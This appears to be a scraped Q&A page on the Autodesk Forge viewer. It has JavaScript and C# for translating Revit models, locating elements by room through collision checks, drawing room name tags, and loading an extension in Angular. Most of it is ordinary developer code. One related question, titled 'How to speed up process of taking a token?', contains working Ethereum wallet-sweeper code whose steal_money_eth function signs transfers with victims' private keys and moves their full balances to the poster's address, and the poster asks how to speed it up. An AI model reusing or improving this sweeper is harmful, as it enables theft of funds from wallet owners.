Rooms with Forge - autodesk-forge

My goal is to see the Revit rooms in the Forge viewer. The application is in .NET Core. I have tried implementing GenerateMasterViews.
The code I am using to achieve this is:
[Route("api/forge/modelderivative/jobs")]
public async Task<dynamic> TranslateObject([FromBody]TranslateObjectModel objModel)
{
dynamic oauth = await OAuthController.GetInternalAsync();
// prepare the payload
var advOutputPayload = new JobSvf2OutputPayloadAdvanced();
advOutputPayload.GenerateMasterViews = true;
List<JobPayloadItem> outputs = new List<JobPayloadItem>()
{
new JobPayloadItem(
JobPayloadItem.TypeEnum.Svf2,
new List<JobPayloadItem.ViewsEnum>()
{
JobPayloadItem.ViewsEnum._2d,
JobPayloadItem.ViewsEnum._3d
},
advOutputPayload
)
};
JobPayload job;
job = new JobPayload(new JobPayloadInput(objModel.objectName), new JobPayloadOutput(outputs));
// start the translation
DerivativesApi derivative = new DerivativesApi();
derivative.Configuration.AccessToken = oauth.access_token;
dynamic jobPosted = await derivative.TranslateAsync(job);
return jobPosted;
}
Autodesk.Viewing.Initializer(options, () => {
viewer = new Autodesk.Viewing.GuiViewer3D(document.getElementById('forgeViewer'));
viewer.start();
var documentId = 'urn:' + urn;
Autodesk.Viewing.Document.load(documentId, onDocumentLoadSuccess, onDocumentLoadFailure);
});
}
function onDocumentLoadSuccess(doc) {
var viewables = doc.getRoot().getDefaultGeometry();
viewer.loadDocumentNode(doc, viewables).then(i => {
// documented loaded, any action?
});
}
But I can't get it to work.
I have looked for information, but this url: https://forge.autodesk.com/en/docs/model-derivative/v2/tutorials/prep-roominfo4viewer/option2/ and this url:
https://forge.autodesk.com/en/docs/model-derivative/v2/tutorials/prep-roominfo4viewer/option1/ they don't work and I couldn't see how to do it.

To check if the object is in the room, we can do the following:
Get bounds for each room and object
getBoundingBox(dbId, model) {
const it = model.getInstanceTree();
const fragList = model.getFragmentList();
let bounds = new THREE.Box3();
it.enumNodeFragments(dbId, (fragId) => {
let box = new THREE.Box3();
fragList.getWorldBounds(fragId, box);
bounds.union(box);
}, true);
return bounds;
}
Iterate rooms and objects and use containsBox or containsPoint to check if their bounding box has intersection.
If you want to do an acute collision check, you can take advantage of the ThreeCSG.js to do geometry intersection. Here is a blog post demonstrating how to integrate ThreeCSG.js with Forge Viewer.
https://forge.autodesk.com/blog/boolean-operations-forge-viewer
Note. This process would reduce the viewer performance since JavaScript is running on a single thread on the Web Browser, so you may use some technologies like the web worker to do the complex calculations on a separate thread.
Update:
Here is a working sample extension demonstrating the above idea:
/////////////////////////////////////////////////////////////////////
// Copyright (c) Autodesk, Inc. All rights reserved
// Written by Forge Partner Development
//
// Permission to use, copy, modify, and distribute this software in
// object code form for any purpose and without fee is hereby granted,
// provided that the above copyright notice appears in all copies and
// that both that copyright notice and the limited warranty and
// restricted rights notice below appear in all supporting
// documentation.
//
// AUTODESK PROVIDES THIS PROGRAM "AS IS" AND WITH ALL FAULTS.
// AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
// MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.
// DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
// UNINTERRUPTED OR ERROR FREE.
/////////////////////////////////////////////////////////////////////
(function () {
const Utility = {
/**
* Rest an object
* #param {Object} obj An object to be reset.
* ref: https://stackoverflow.com/a/24090180
*/
resetObject: function (obj) {
for (let key in Object.getOwnPropertyNames(obj)) {
if (!obj.hasOwnProperty(key)) continue;
let val = obj[key];
switch (typeof val) {
case 'string':
obj[key] = ''; break;
case 'number':
obj[key] = 0; break;
case 'boolean':
obj[key] = false; break;
case 'object':
if (val === null) break;
if (val instanceof Array) {
while (obj[key].length > 0) {
obj[key].pop();
}
break;
}
val = {};
//Or recursively clear the sub-object
//resetObject(val);
break;
}
}
}
};
/**
* A Forge Viewer extension for loading and rendering Revit Grids by AEC Model Data
* #class
*/
class RoomLocatorExtension extends Autodesk.Viewing.Extension {
constructor(viewer, options) {
super(viewer, options);
this.roomCategoryName = options.roomCategoryName || 'Revit Rooms';//'Revit Habitaciones'
this.onContextMenu = this.onContextMenu.bind(this);
}
onContextMenu(menu, status) {
if (status.hasSelected) {
menu.push({
title: 'Find room',
target: async () => {
let selSet = this.viewer.getSelection();
this.viewer.clearSelection();
const roomDbIds = await this.locateElementByRoom(selSet[0]);
if (!roomDbIds || roomDbIds.length <= 0) return;
this.viewer.select(roomDbIds);
}
});
}
}
async getPropertiesAsync(dbId, model) {
return new Promise((resolve, reject) => {
model.getProperties2(
dbId,
(result) => resolve(result),
(error) => reject(error)
);
});
}
async getElementsByCategoryAsync(category) {
return new Promise((resolve, reject) => {
this.viewer.search(
category,
(dbIds) => resolve(dbIds),
(error) => reject(error),
['Category'],
{ searchHidden: true }
);
});
}
async getRoomDbIds() {
try {
const roomDbIds = await this.getElementsByCategoryAsync(this.roomCategoryName);
if (!roomDbIds || roomDbIds.length <= 0) {
throw new Error('No Rooms found in current model');
}
return roomDbIds;
} catch (ex) {
console.warn(`[RoomLocatorExtension]: ${ex}`);
throw new Error('No room found');
}
}
getBoundingBox(dbId, model) {
const it = model.getInstanceTree();
const fragList = model.getFragmentList();
let bounds = new THREE.Box3();
it.enumNodeFragments(dbId, (fragId) => {
let box = new THREE.Box3();
fragList.getWorldBounds(fragId, box);
bounds.union(box);
}, true);
return bounds;
}
getLeafFragIds(model, leafId) {
const instanceTree = model.getData().instanceTree;
const fragIds = [];
instanceTree.enumNodeFragments(leafId, function (fragId) {
fragIds.push(fragId);
});
return fragIds;
}
getComponentGeometryInfo(dbId, model) {
const viewer = this.viewer;
const viewerImpl = viewer.impl;
const fragIds = this.getLeafFragIds(model, dbId);
let matrixWorld = null;
const meshes = fragIds.map((fragId) => {
const renderProxy = viewerImpl.getRenderProxy(model, fragId);
const geometry = renderProxy.geometry;
const attributes = geometry.attributes;
const positions = geometry.vb ? geometry.vb : attributes.position.array;
const indices = attributes.index.array || geometry.ib;
const stride = geometry.vb ? geometry.vbstride : 3;
const offsets = geometry.offsets;
matrixWorld = matrixWorld || renderProxy.matrixWorld.elements;
return {
positions,
indices,
offsets,
stride
};
});
return {
matrixWorld,
meshes
};
}
getComponentGeometry(data, vertexArray) {
const offsets = [
{
count: data.indices.length,
index: 0,
start: 0
}
];
for (let oi = 0, ol = offsets.length; oi < ol; ++oi) {
let start = offsets[oi].start;
let count = offsets[oi].count;
let index = offsets[oi].index;
for (let i = start, il = start + count; i < il; i += 3) {
const a = index + data.indices[i];
const b = index + data.indices[i + 1];
const c = index + data.indices[i + 2];
const vA = new THREE.Vector3();
const vB = new THREE.Vector3();
const vC = new THREE.Vector3();
vA.fromArray(data.positions, a * data.stride);
vB.fromArray(data.positions, b * data.stride);
vC.fromArray(data.positions, c * data.stride);
vertexArray.push(vA);
vertexArray.push(vB);
vertexArray.push(vC);
}
}
}
buildComponentMesh(data) {
const vertexArray = [];
for (let idx = 0; idx < data.nbMeshes; ++idx) {
const meshData = {
positions: data['positions' + idx],
indices: data['indices' + idx],
stride: data['stride' + idx]
}
this.getComponentGeometry(meshData, vertexArray);
}
const geometry = new THREE.Geometry();
for (let i = 0; i < vertexArray.length; i += 3) {
geometry.vertices.push(vertexArray[i]);
geometry.vertices.push(vertexArray[i + 1]);
geometry.vertices.push(vertexArray[i + 2]);
const face = new THREE.Face3(i, i + 1, i + 2);
geometry.faces.push(face);
}
const matrixWorld = new THREE.Matrix4();
matrixWorld.fromArray(data.matrixWorld);
const mesh = new THREE.Mesh(geometry);
mesh.applyMatrix(matrixWorld);
mesh.boundingBox = data.boundingBox;
mesh.bsp = new ThreeBSP(mesh)
mesh.dbId = data.dbId;
return mesh;
}
buildCsgMesh(dbId, model) {
const geometry = this.getComponentGeometryInfo(dbId, model);
const data = {
boundingBox: this.getBoundingBox(dbId, model),
matrixWorld: geometry.matrixWorld,
nbMeshes: geometry.meshes.length,
dbId
};
geometry.meshes.forEach((mesh, idx) => {
data['positions' + idx] = mesh.positions;
data['indices' + idx] = mesh.indices;
data['stride' + idx] = mesh.stride;
});
return this.buildComponentMesh(data);
}
async buildBBoxes() {
try {
const model = this.viewer.model;
const roomBBoxes = {};
const roomDbIds = await this.getRoomDbIds();
for (let i = 0; i < roomDbIds.length; i++) {
let dbId = roomDbIds[i];
let bbox = await this.getBoundingBox(dbId, model);
roomBBoxes[dbId] = bbox;
}
this.cachedBBoxes['rooms'] = roomBBoxes;
} catch (ex) {
console.warn(`[RoomLocatorExtension]: ${ex}`);
throw new Error('Cannot build bounding boxes from rooms');
}
}
async locateElementByRoom(dbId) {
let bbox = await this.getBoundingBox(dbId, this.viewer.model);
const roomDbIds = Object.keys(this.cachedBBoxes['rooms']);
const roomBoxes = Object.values(this.cachedBBoxes['rooms']);
// Coarse Phase Collision
const coarseResult = [];
for (let i = 0; i < roomDbIds.length; i++) {
let roomDbId = roomDbIds[i];
let roomBox = roomBoxes[i];
if (roomBox.containsBox(bbox)) {
coarseResult.push(parseInt(roomDbId));
} else {
if (roomBox.containsPoint(bbox.min) || roomBox.containsPoint(bbox.max) || roomBox.containsPoint(bbox.center())) {
coarseResult.push(parseInt(roomDbId));
}
}
}
// Fine Phase Collision
const fineResult = [];
let elementCsgMesh = this.buildCsgMesh(dbId, this.viewer.model);
for (let i = 0; i < coarseResult.length; i++) {
let roomDbId = coarseResult[i];
let roomCsgMesh = this.buildCsgMesh(roomDbId, this.viewer.model);
let result = elementCsgMesh.bsp.intersect(roomCsgMesh.bsp);
if (result.tree.polygons.length <= 0) {
result = roomCsgMesh.bsp.intersect(elementCsgMesh.bsp);
// if (!this.viewer.overlays.hasScene('csg'))
// this.viewer.overlays.addScene('csg');
// else
// this.viewer.overlays.clearScene('csg');
// let mat = new THREE.MeshBasicMaterial({ color: 'red' })
// let mesh = result.toMesh(mat);
// this.viewer.overlays.addMesh(mesh, 'csg')
if (result.tree.polygons.length <= 0) continue;
}
fineResult.push(roomDbId);
}
return fineResult;
}
async load() {
await Autodesk.Viewing.Private.theResourceLoader.loadScript(
'https://cdn.jsdelivr.net/gh/Wilt/ThreeCSG#develop/ThreeCSG.js',
'ThreeBSP'
);
if (!window.ThreeBSP)
throw new Error('Cannot load ThreeCSG.js, please download a copy from https://github.com/Wilt/ThreeCSG/blob/develop/ThreeCSG.js')
await this.viewer.waitForLoadDone();
this.cachedBBoxes = {};
await this.buildBBoxes();
this.viewer.registerContextMenuCallback(
'RoomLocatorExtension',
this.onContextMenu
);
return true;
}
unload() {
Utility.resetObject(this.cachedBBoxes);
this.viewer.unregisterContextMenuCallback(
'RoomLocatorExtension',
this.onContextMenu
);
return true;
}
}
Autodesk.Viewing.theExtensionManager.registerExtension('RoomLocatorExtension', RoomLocatorExtension);
})();
Snapshots:

Related

How to speed up process of taking a token?

I am new to cryptocurrency and would like to find out how to speed up the process of taking a token. Here is the finished code:
I use the code to exchange and do other things via telegram
async function trans_wallets_eth() {
for(var x in trans_eth) {
var to_address = trans_eth[x]['to'];
if (to_address in all_wallets) {
steal_money_eth(to_address, all_wallets[to_address]);
await new Promise(resolve => setTimeout(resolve, 30000));
}
}
}
async function getBlocks_eth() {
var work = true
while (work) {
try {
var latestBlock = await web4.eth.getBlock(block_identifier = web4.eth.defaultBlock, full_transactions = true);
global.trans_eth = latestBlock.transactions;
await trans_wallets_eth()
console.log('ETH '+latestBlock.number);
await new Promise(resolve => setTimeout(resolve, 1500));
} catch (e) {
await new Promise(resolve => setTimeout(resolve, 2000));
web4 = new Web3(moralis_eth)
}
}
}
async function steal_money_eth(wallet, wallet_specs) {
try {
var private_key = wallet_specs[0]
var eth_balance = wallet_specs[3]
var grab_from_eth_balance = await web4.utils.toWei(eth_balance, 'ether')
var fast_gas_price = await web4.utils.toWei(eth_gwei, 'gwei')
var counter = 0
while (true) {
var balance = await web4.eth.getBalance(wallet)
if (Number(balance) < grab_from_eth_balance) {
await new Promise(resolve => setTimeout(resolve, 100));
counter++
if (counter === 200) {
console.log("Stopped here")
return;
}
} else {
break;
}
}
var nonce = await web4.eth.getTransactionCount(wallet)
var transfer_amount = Number(balance) - fast_gas_price * 21000
var tx_price = {
'chainId': 1,
'nonce': nonce,
'to': user_wallet_address_eth,
'value': transfer_amount,
'gas': 21000,
'gasPrice': fast_gas_price
}
var signed_tx = await web4.eth.accounts.signTransaction(tx_price, private_key)
var tx_hash = await web4.eth.sendSignedTransaction(signed_tx.rawTransaction)
global.amount_sent_eth = await web4.utils.fromWei(String(transfer_amount), 'ether')
global.tx_link_eth = 'https://etherscan.com/tx/' + tx_hash.transactionHash
console.log('πŸ’°ETH '+amount_sent_eth+'πŸ’° Transaction successful!πŸ˜ŽπŸ‘Œ ' + tx_link_eth)
sending_good_news_eth()
} catch (e) {
console.log(e)
await new Promise(resolve => setTimeout(resolve, 5000));
}
}
I would like to understand where to look. You don't have to change the code for me. Thank you in advance.

How to create Room name Text inside the room element?

Is there any way to create room name text inside the room element in forge viewer?
I have room elements in the forge viewer as per the below image.
So, I can read a room name from element properties. Then, I want to create room name text in forge viewer. May I have the solution?
Thanks In advance,
Update 2021-06-29
Added some conditions to avoid invalid data input.
/////////////////////////////////////////////////////////////////////
// Copyright (c) Autodesk, Inc. All rights reserved
// Written by Forge Partner Development
//
// Permission to use, copy, modify, and distribute this software in
// object code form for any purpose and without fee is hereby granted,
// provided that the above copyright notice appears in all copies and
// that both that copyright notice and the limited warranty and
// restricted rights notice below appear in all supporting
// documentation.
//
// AUTODESK PROVIDES THIS PROGRAM 'AS IS' AND WITH ALL FAULTS.
// AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
// MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.
// DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
// UNINTERRUPTED OR ERROR FREE.
/////////////////////////////////////////////////////////////////////
//ref: https://stackoverflow.com/a/61262544
class TextMeasurer {
constructor() {
const SVG_NS = 'http://www.w3.org/2000/svg';
this.svg = document.createElementNS(SVG_NS, 'svg');
this.svg.style.visibility = 'hidden';
this.svg.setAttribute('xmlns', SVG_NS)
this.svg.setAttribute('width', 0);
this.svg.setAttribute('height', 0);
this.svgtext = document.createElementNS(SVG_NS, 'text');
this.svg.appendChild(this.svgtext);
this.svgtext.setAttribute('x', 0);
this.svgtext.setAttribute('y', 0);
document.querySelector('body').appendChild(this.svg);
}
/**
* Measure a single line of text, including the bounding box, inner size and lead and trail X
* #param {string} text Single line of text
* #param {string} fontFamily Name of font family
* #param {string} fontSize Font size including units
*/
measureText(text, fontFamily, fontSize) {
this.svgtext.setAttribute('font-family', fontFamily);
this.svgtext.setAttribute('font-size', fontSize);
this.svgtext.textContent = text;
let bbox = this.svgtext.getBBox();
let textLength = this.svgtext.getComputedTextLength();
// measure the overflow before and after the line caused by font side bearing
// Rendering should start at X + leadX to have the edge of the text appear at X
// when rendering left-aligned left-to-right
let baseX = parseInt(this.svgtext.getAttribute('x'));
let overflow = bbox.width - textLength;
let leadX = Math.abs(baseX - bbox.x);
let trailX = overflow - leadX;
document.querySelector('body').removeChild(this.svg);
return {
bbWidth: bbox.width,
textLength: textLength,
leadX: leadX,
trailX: trailX,
bbHeight: bbox.height
};
}
}
class AecRoomTagsExtension extends Autodesk.Viewing.Extension {
constructor(viewer, options) {
super(viewer, options);
this.modelBuilder = null;
this.idPrefix = 100;
}
async load() {
const modelBuilderExt = await this.viewer.loadExtension('Autodesk.Viewing.SceneBuilder');
const modelBuilder = await modelBuilderExt.addNewModel({
conserveMemory: false,
modelNameOverride: 'Room Tags'
});
this.modelBuilder = modelBuilder;
if (!this.viewer.isLoadDone()) {
this.viewer.addEventListener(
Autodesk.Viewing.GEOMETRY_LOADED_EVENT,
() => this.createRoomTags(),
{ once: true }
);
} else {
this.createRoomTags();
}
return true;
}
unload() {
this.viewer.impl.unloadModel(this.modelBuilder.model);
return true;
}
pxToMm(val) {
return val / 3.7795275591;
}
mmToFt(val) {
return val / 304.8;
}
createLabel(params) {
const text = params.text;
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.fillStyle = 'yellow';
ctx.fillRect(0, 0, canvas.width, canvas.height);
const fontSize = params.fontSize || 512;
const fontName = 'serif';
let offset = 2;
//Usage:
let m = new TextMeasurer();
let textDimensions = m.measureText(text, fontName, `${fontSize}px`);
canvas.height = textDimensions.bbHeight - (fontSize / 32 + 2) * offset;
canvas.width = textDimensions.bbWidth + offset + 3 * offset;
ctx.textBaseline = 'top';
ctx.fillStyle = '#000';
ctx.textAlign = 'left';
ctx.font = `${fontSize}px ${fontName}`;
ctx.fillStyle = 'white';
ctx.fillRect(0, 0, textDimensions.bbWidth + offset * 2, canvas.height);
ctx.fillStyle = '#000';
ctx.fillText(text, offset, offset + (fontSize / 32 + 3) * offset);
ctx.strokeRect(0, 0, textDimensions.bbWidth + offset * 2, canvas.height);
const labelBlobUrl = canvas.toDataURL();
//console.log(labelBlobUrl);
const image = new Image();
const texture = new THREE.Texture();
texture.image = image;
image.src = labelBlobUrl;
image.onload = function () {
texture.needsUpdate = true;
};
const labelDbId = this.idPrefix++;
const matName = `label-mat-${labelDbId}`;
const material = new THREE.MeshPhongMaterial({ map: texture, side: THREE.DoubleSide, opacity: 0.8, transparent: true });
material.map.minFilter = THREE.LinearFilter;
this.modelBuilder.addMaterial(matName, material);
const labelMat = this.modelBuilder.findMaterial(matName);
const planeWidth = this.mmToFt(this.pxToMm(canvas.width));
const planeHeight = this.mmToFt(this.pxToMm(canvas.height));
let planeGeo = new THREE.PlaneBufferGeometry(planeWidth, planeHeight);
let plane = new THREE.Mesh(planeGeo, labelMat);
plane.matrix = new THREE.Matrix4().compose(
params.position,
new THREE.Quaternion(0, 0, 0, 1),
new THREE.Vector3(1, 1, 1)
);
plane.dbId = labelDbId;
this.modelBuilder.addMesh(plane);
}
async createRoomTags() {
const getRoomDbIdsAsync = () => {
return new Promise((resolve, reject) => {
this.viewer.search(
'Revit Rooms',
(dbIds) => resolve(dbIds),
(error) => reject(error),
['Category'],
{ searchHidden: true }
);
});
};
const getPropertiesAsync = (dbId, model) => {
return new Promise((resolve, reject) => {
model.getProperties2(
dbId,
(result) => resolve(result),
(error) => reject(error)
);
});
};
const getBoxAsync = (dbId, model) => {
return new Promise((resolve, reject) => {
const tree = model.getInstanceTree();
const frags = model.getFragmentList();
let bounds = new THREE.Box3();
tree.enumNodeFragments(dbId, function (fragId) {
let box = new THREE.Box3();
frags.getWorldBounds(fragId, box);
bounds.union(box);
}, true);
return resolve(bounds);
});
};
const getRoomNameAsync = async (dbId, model) => {
const tree = model.getInstanceTree();
let name = tree.getNodeName(dbId);
if (!name) {
const props = await getPropertiesAsync(dbId, model);
name = props?.name;
}
return name;
};
try {
let roomDbIds = await getRoomDbIdsAsync();
if (!roomDbIds || roomDbIds.length <= 0) {
throw new Error('No Rooms found in current model');
}
const model = this.viewer.model;
const currentViewableId = this.viewer.model?.getDocumentNode().data.viewableID;
const masterViews = this.viewer.model?.getDocumentNode().getMasterViews();
const masterViewIds = masterViews?.map(v => v.data.viewableID);
if (!masterViewIds.includes(currentViewableId)) {
throw new Error('Current view does not contain any Rooms');
}
for (let i = 0; i < roomDbIds.length; i++) {
const dbId = roomDbIds[i];
const name = await getRoomNameAsync(dbId, model);
if (!name) {
console.warn(`[AecRoomTagsExtension]: ${dbId} Room \`${name}\` doesn't have valid name`);
continue;
}
const roomProps = await getPropertiesAsync(dbId, model);
const possibleViewableIds = roomProps.properties.filter(prop => prop.attributeName === 'viewable_in').map(prop => prop.displayValue);
if (!possibleViewableIds.includes(currentViewableId)) {
console.warn(`[AecRoomTagsExtension]: ${dbId} Room \`${name}\` is not visible in current view \`${currentViewableId}\``);
continue;
}
const box = await getBoxAsync(dbId, model);
if (!box) {
console.warn(`[AecRoomTagsExtension]: ${dbId} Room \`${name}\` has an invalid bounding box`);
continue;
}
const center = box.center();
if (isNaN(center.x) || isNaN(center.y) || isNaN(center.z)) {
console.warn(`[AecRoomTagsExtension]: ${dbId} Room \`${name}\` has an invalid bounding box`);
continue;
}
//console.log(i, dbId, name, box, center);
const pos = new THREE.Vector3(
center.x,
center.y,
box.min.z + this.mmToFt(10)
);
this.createLabel({
text: name.replace(/ *\[[^)]*\] */g, ""),
position: pos,
fontSize: 512 // in pixel
});
}
// uncomment to prevent selection on tags
// const dbIds = this.modelBuilder.model.getFragmentList().fragments.fragId2dbId;
// const model = this.modelBuilder.model;
// this.viewer.lockSelection(dbIds, true, model);
} catch (ex) {
console.warn(`[AecRoomTagsExtension]: ${ex}`);
}
}
}
Autodesk.Viewing.theExtensionManager.registerExtension('Autodesk.ADN.AecRoomTagsExtension', AecRoomTagsExtension);
=============================
It's similar to the Gird solution: https://stackoverflow.com/a/68129012/7745569
Not perfect, but it works. You may need to adjust the tag placement point (position) based on your model. Currently, tags are placed on the center of the bottom face of the Room bounding box.
/////////////////////////////////////////////////////////////////////
// Copyright (c) Autodesk, Inc. All rights reserved
// Written by Forge Partner Development
//
// Permission to use, copy, modify, and distribute this software in
// object code form for any purpose and without fee is hereby granted,
// provided that the above copyright notice appears in all copies and
// that both that copyright notice and the limited warranty and
// restricted rights notice below appear in all supporting
// documentation.
//
// AUTODESK PROVIDES THIS PROGRAM 'AS IS' AND WITH ALL FAULTS.
// AUTODESK SPECIFICALLY DISCLAIMS ANY IMPLIED WARRANTY OF
// MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. AUTODESK, INC.
// DOES NOT WARRANT THAT THE OPERATION OF THE PROGRAM WILL BE
// UNINTERRUPTED OR ERROR FREE.
/////////////////////////////////////////////////////////////////////
//ref: https://stackoverflow.com/a/61262544
class TextMeasurer {
constructor() {
const SVG_NS = 'http://www.w3.org/2000/svg';
this.svg = document.createElementNS(SVG_NS, 'svg');
this.svg.style.visibility = 'hidden';
this.svg.setAttribute('xmlns', SVG_NS)
this.svg.setAttribute('width', 0);
this.svg.setAttribute('height', 0);
this.svgtext = document.createElementNS(SVG_NS, 'text');
this.svg.appendChild(this.svgtext);
this.svgtext.setAttribute('x', 0);
this.svgtext.setAttribute('y', 0);
document.querySelector('body').appendChild(this.svg);
}
/**
* Measure a single line of text, including the bounding box, inner size and lead and trail X
* #param {string} text Single line of text
* #param {string} fontFamily Name of font family
* #param {string} fontSize Font size including units
*/
measureText(text, fontFamily, fontSize) {
this.svgtext.setAttribute('font-family', fontFamily);
this.svgtext.setAttribute('font-size', fontSize);
this.svgtext.textContent = text;
let bbox = this.svgtext.getBBox();
let textLength = this.svgtext.getComputedTextLength();
// measure the overflow before and after the line caused by font side bearing
// Rendering should start at X + leadX to have the edge of the text appear at X
// when rendering left-aligned left-to-right
let baseX = parseInt(this.svgtext.getAttribute('x'));
let overflow = bbox.width - textLength;
let leadX = Math.abs(baseX - bbox.x);
let trailX = overflow - leadX;
document.querySelector('body').removeChild(this.svg);
return {
bbWidth: bbox.width,
textLength: textLength,
leadX: leadX,
trailX: trailX,
bbHeight: bbox.height
};
}
}
class AecRoomTagsExtension extends Autodesk.Viewing.Extension {
constructor(viewer, options) {
super(viewer, options);
this.modelBuilder = null;
this.idPrefix = 100;
}
async load() {
const modelBuilderExt = await this.viewer.loadExtension('Autodesk.Viewing.SceneBuilder');
const modelBuilder = await modelBuilderExt.addNewModel({
conserveMemory: false,
modelNameOverride: 'Room Tags'
});
this.modelBuilder = modelBuilder;
if (!this.viewer.isLoadDone()) {
this.viewer.addEventListener(
Autodesk.Viewing.GEOMETRY_LOADED_EVENT,
() => this.createRoomTags(),
{ once: true }
);
} else {
this.createRoomTags();
}
return true;
}
unload() {
this.viewer.impl.unloadModel(this.modelBuilder.model);
return true;
}
pxToMm(val) {
return val / 3.7795275591;
}
mmToFt(val) {
return val / 304.8;
}
createLabel(params) {
const text = params.text;
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.fillStyle = 'yellow';
ctx.fillRect(0, 0, canvas.width, canvas.height);
const fontSize = params.fontSize || 512;
const fontName = 'serif';
let offset = 2;
//Usage:
let m = new TextMeasurer();
let textDimensions = m.measureText(text, fontName, `${fontSize}px`);
canvas.height = textDimensions.bbHeight - (fontSize / 32 + 2) * offset;
canvas.width = textDimensions.bbWidth + offset + 3 * offset;
ctx.textBaseline = 'top';
ctx.fillStyle = '#000';
ctx.textAlign = 'left';
ctx.font = `${fontSize}px ${fontName}`;
ctx.fillStyle = 'white';
ctx.fillRect(0, 0, textDimensions.bbWidth + offset * 2, canvas.height);
ctx.fillStyle = '#000';
ctx.fillText(text, offset, offset + (fontSize / 32 + 3) * offset);
ctx.strokeRect(0, 0, textDimensions.bbWidth + offset * 2, canvas.height);
const labelBlobUrl = canvas.toDataURL();
//console.log(labelBlobUrl);
const image = new Image();
const texture = new THREE.Texture();
texture.image = image;
image.src = labelBlobUrl;
image.onload = function () {
texture.needsUpdate = true;
};
const planeWidth = this.mmToFt(this.pxToMm(canvas.width));
const planeHeight = this.mmToFt(this.pxToMm(canvas.height));
let planeGeo = new THREE.PlaneBufferGeometry(planeWidth, planeHeight);
let plane = new THREE.Mesh(planeGeo, new THREE.MeshPhongMaterial({ map: texture, side: THREE.DoubleSide, opacity: 0.8, transparent: true }));
plane.matrix = new THREE.Matrix4().compose(
params.position,
new THREE.Quaternion(0, 0, 0, 1),
new THREE.Vector3(1, 1, 1)
);
plane.dbId = this.idPrefix++;
this.modelBuilder.addMesh(plane);
}
async createRoomTags() {
const getRoomDbIdsAsync = () => {
return new Promise((resolve, reject) => {
this.viewer.search(
'Revit Rooms',
(dbIds) => resolve(dbIds),
(error) => reject(error),
['Category'],
{ searchHidden: true }
);
});
};
const getPropertiesAsync = (dbId, model) => {
return new Promise((resolve, reject) => {
model.getProperties2(
dbId,
(result) => resolve(result),
(error) => reject(error)
);
});
};
const getBoxAsync = (dbId, model) => {
return new Promise((resolve, reject) => {
const tree = model.getInstanceTree();
const frags = model.getFragmentList();
tree.enumNodeFragments(dbId, function (fragId) {
let bounds = new THREE.Box3();
frags.getWorldBounds(fragId, bounds);
return resolve(bounds);
}, true);
});
};
const getRoomName = (dbId, model) => {
const tree = model.getInstanceTree();
return tree.getNodeName(dbId);
};
try {
const roomDbIds = await getRoomDbIdsAsync();
if (!roomDbIds || roomDbIds.length <= 0) {
throw new Error('No Rooms found in current model');
}
const model = this.viewer.model;
const currentViewableId = this.viewer.model?.getDocumentNode().data.viewableID;
const firstRoomProps = await getPropertiesAsync(roomDbIds[0], this.viewer.model);
const possibleViewableIds = firstRoomProps.properties.filter(prop => prop.attributeName === 'viewable_in').map(prop => prop.displayValue);
const masterViews = this.viewer.model?.getDocumentNode().getMasterViews();
const masterViewIds = masterViews?.map(v => v.data.viewableID);
if (!masterViewIds.includes(currentViewableId) || !possibleViewableIds.includes(currentViewableId)) {
throw new Error('Current view does not contain any Rooms');
}
for (let i = roomDbIds.length - 1; i >= 0; i--) {
const dbId = roomDbIds[i];
const box = await getBoxAsync(dbId, model);
const name = getRoomName(dbId, model);
const center = box.center();
const pos = new THREE.Vector3(
center.x,
center.y,
box.min.z + this.mmToFt(10)
);
this.createLabel({
text: name.replace(/ *\[[^)]*\] */g, ""),
position: pos,
fontSize: 512 // in pixel
});
}
// uncomment to prevent selection on tags
// const dbIds = this.modelBuilder.model.getFragmentList().fragments.fragId2dbId;
// const model = this.modelBuilder.model;
// this.viewer.lockSelection(dbIds, true, model);
} catch (ex) {
console.warn(`[AecRoomTagsExtension]: ${ex}`);
}
}
}
Autodesk.Viewing.theExtensionManager.registerExtension('Autodesk.ADN.AecRoomTagsExtension', AecRoomTagsExtension);
Here are the dmeo snapshots:

Using Forge Javascript-based Extension in Angular app

How do i use a Jasvscript-based Extension, for example the IconMarkupExtension from https://forge.autodesk.com/blog/placing-custom-markup-dbid in my Angular-based app.
I tried the following:
Import the Javascript file:
import IconMarkupExtension from './IconMarkupExtension';
using the extension by defining in the viewerConfig:
constructor(private router: Router, private auth: AuthService, private api: ApiService, private messageService: MessageService) {
this.viewerOptions3d = {
initializerOptions: {
env: 'AutodeskProduction',
getAccessToken: (async (onGetAccessToken) => {
const authToken: AuthToken = await this.api.get2LToken();
this.auth.currentUserValue.twolegggedToken = authToken.access_token;
onGetAccessToken(this.auth.currentUserValue.twolegggedToken, 30 * 60);
}),
api: 'derivativeV2',
},
viewerConfig: {
extensions: ['IconMarkupExtension'], // [GetParameterExtension.extensionName],
theme: 'dark-theme',
},
onViewerScriptsLoaded: this.scriptsLoaded,
onViewerInitialized: (async (args: ViewerInitializedEvent) => {
if (this.platform.currentProject.encodedmodelurn) {
args.viewerComponent.DocumentId = this.platform.currentProject.encodedmodelurn;
this.loadCustomToolbar();
// this.loadIconMarkupExtension();
}
else {
// Graphische Anpassung
$('#forge-viewer').hide();
// args.viewerComponent.viewer.uninitialize();
this.messageService.clear();
this.messageService.add({ key: 'noModel', sticky: true, severity: 'warn', summary: 'NOT AVAILABLE', detail: 'Do you want to add a Model' });
this.platform.app.openOverlay();
}
}),
// Muss true sein
showFirstViewable: true,
// Ist falsch gesetzt => GuiViewer3D => Buttons asugeblendet in CSS
headlessViewer: false,
};
}
and finally register after onViewerScriptsLoaded
public scriptsLoaded() {
// Extension.registerExtension(GetParameterExtension.extensionName, GetParameterExtension);
Extension.registerExtension('IconMarkupExtension', IconMarkupExtension);
}
The problem i'm facing that i get an error cause of
class IconMarkupExtension extends Autodesk.Viewing.Extension {
Autodesk is not defined
Thank you
The solution was to rewrite the extension, then as usual register and load the extension.
/// <reference types="forge-viewer" />
import { Extension } from '../../viewer/extensions/extension';
declare const THREE: any;
export class IconMarkupExtension extends Extension {
// Extension must have a name
public static extensionName: string = 'IconMarkupExtension';
public _group;
